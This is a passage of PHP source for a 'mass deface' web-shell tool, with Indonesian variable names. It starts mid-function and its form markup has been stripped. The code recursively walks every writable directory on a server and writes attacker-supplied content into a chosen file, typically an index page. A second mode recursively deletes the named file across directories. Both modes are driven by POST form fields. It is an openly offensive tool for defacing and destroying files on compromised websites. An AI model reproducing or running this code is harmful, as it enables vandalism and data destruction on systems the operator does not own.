MASS DEFACE TOOLS


MASS DEFACE | MASS DELETE

DONE] $lokasi
"; file_put_contents($lokasi, $isi_script); $idx = mass_kabeh($dirc,$namafile,$isi_script); } } } } } } function mass_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[DONE] $dirb/$namafile
"; file_put_contents($lokasi, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe'] == 'massal') { echo "
"; mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } elseif($_POST['tipe'] == 'biasa') { echo "
"; mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } echo "<- kembali"; } else { echo "
"; echo "
Tipe:
BiasaMassal

Dir:

Filename:

Index File:

"; echo"Say hello to me :)
"; } } elseif($_GET['go'] == 'delet') { function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($lokasi)) { echo "[DELETED] $lokasi
"; unlink($lokasi); $idx = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "
"; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "
"; echo "<- kembali"; } else { echo "
"; echo "
Dir:

Filename:

"; echo"Say hello to me :)
"; } } } ?>